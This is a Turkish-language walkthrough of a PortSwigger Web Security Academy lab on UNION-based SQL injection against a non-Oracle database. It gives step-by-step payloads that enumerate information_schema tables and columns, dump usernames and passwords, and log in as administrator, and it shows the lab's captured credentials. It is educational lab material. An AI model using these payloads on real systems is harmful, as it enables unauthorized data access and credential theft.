> For the complete documentation index, see [llms.txt](https://emre-ermenek.gitbook.io/sqli-egitimi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://emre-ermenek.gitbook.io/sqli-egitimi/sql-injection-sqli-egitim-modulu-ve-portswigger/in-band-sql-injection/sql-injection-attack-listing-the-database-contents-on-non-oracle-databases-cozumu.md).

# SQL injection attack, listing the database contents on non-Oracle databases Çözümü

Bu labın çözümünde, <https://portswigger.net/web-security/sql-injection/cheat-sheet> bu kaynaktan yardım alabilirsiniz.

Bize labın başında şu bilgileri vermiş:

Ürün kategori filtrsinde SQL Injection zafiyeti var. UNION kullanarak diğer tablolardan bilgi çekebilirsiniz. Bir tabloda isim ve şifreleir tutuluyor kullanıcıların. Bu tablodaki bütün isimleri ve şifreleri çekmemizi istiyor. Devamında administrator kullanıcısı ile login yaparak bitir diyor.

***

Başlıkta non-Oracle(Oracle olmayan) veritabanı demiş. SQL dilinde buna dikkat edicez tabloları çekerken.

Sayfa aşağıdaki gibi:

<figure><img src="/files/iWBdkKaLiz1VpWDEfBXx" alt=""><figcaption></figcaption></figure>

Kategori filtresi arama kısmında koymuşlar, birine tıklayınca onla ilgili sonuçları döndürüyor. Şimdi burple kategoriye tıklayıp bu isteği yakalıyoruz ve repeater’a atıyoruz.

<figure><img src="/files/aTeoS5wEPngfxHjfGMsx" alt=""><figcaption></figcaption></figure>

Buradaki isteği aşağıya da kopyalıyorum oradan gidelim:

```bash
GET /filter?category=Accessories HTTP/1.1
Host: 0a81006804a4df1a81d8577b00330072.web-security-academy.net
Cookie: session=5NO9H8TzlfI6BXn67bEIk6ncBLArIsjT
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <https://0a81006804a4df1a81d8577b00330072.web-security-academy.net/>
Sec-Gpc: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
```

/filter?category=Accessories, buradaki Accessories yerine injection yapıcaz. Dediği gibi UNION ile injection yapalım.

İlk amacımız bütün veritabanı tablolarını çekmek olmalı:

`' UNION SELECT null FROM information_schema.tables--`

gönderince 500 hatası aldık, hatırlayın önceki SELECT sorgusunda kaç sütün çekildiyse, UNION ile eklediğimiz SELECT sorgusu da aynı sayıda sütün çekmek zorunda. Bir tane daha null ekleyelim

`' UNION SELECT null,null FROM information_schema.tables--`

200 geldi, sorgu başarılı şimdi ilk null’u table\_name yapalım ve tablo isimlerini öğrenelim:

`' UNION SELECT table_name,null FROM information_schema.tables--`

şimdi eskiden kategori seçince gelen ürünlerin yerine veritabanındaki tabloların adları geldi.

<figure><img src="/files/yTo84Lxa4xRYvZ3bAzfV" alt=""><figcaption></figcaption></figure>

Bunlar arasında user diye aratınca en aşağıdakinin ismi dikkatimi çekti: users\_xcvvke

(önemli uyarı: Sizde bu tablonun ismi farklı olabilir ama her zaman user diye aratınca en alttaki)

bu tablodaki sütün isimlerini öğrenelim:

`' UNION SELECT column_name,null FROM information_schema.columns WHERE table_name='users_xcvvke'--`

çıktıda email password ve username var.

```bash
password_pydlxa
username_clumdg
email
```

Biz direk username ve passwordu çekelim string birleştirme(Concatenation) metodu ile

`' UNION SELECT username_clumdg || ' ve ' || password_pydlxa,null FROM users_xcvvke--`

<figure><img src="/files/S0XjjLaUObGi8NO8RxZP" alt=""><figcaption></figcaption></figure>

Yukarda gördüğünüz gibi .ıktısında bütün isim ve şifreler geldi:

```bash
wiener ve 1mcvtmajf2xf54esy6z5
carlos ve 6wx0lois71mhbhidczuh
administrator ve 72eag82etrt8gz0lkl1m
```

bize administrator ile login yaparak lab’ı tamamlamızı söylemiş, “My account” üzerine tıklayıp gelen login sayfasına elinizdeki bilgilerle giriş yapın ve labı tamamlayın.

<figure><img src="/files/zdZXqMB9GoFc529fat5v" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/nylCx9PI576VogGzdxJC" alt=""><figcaption></figcaption></figure>
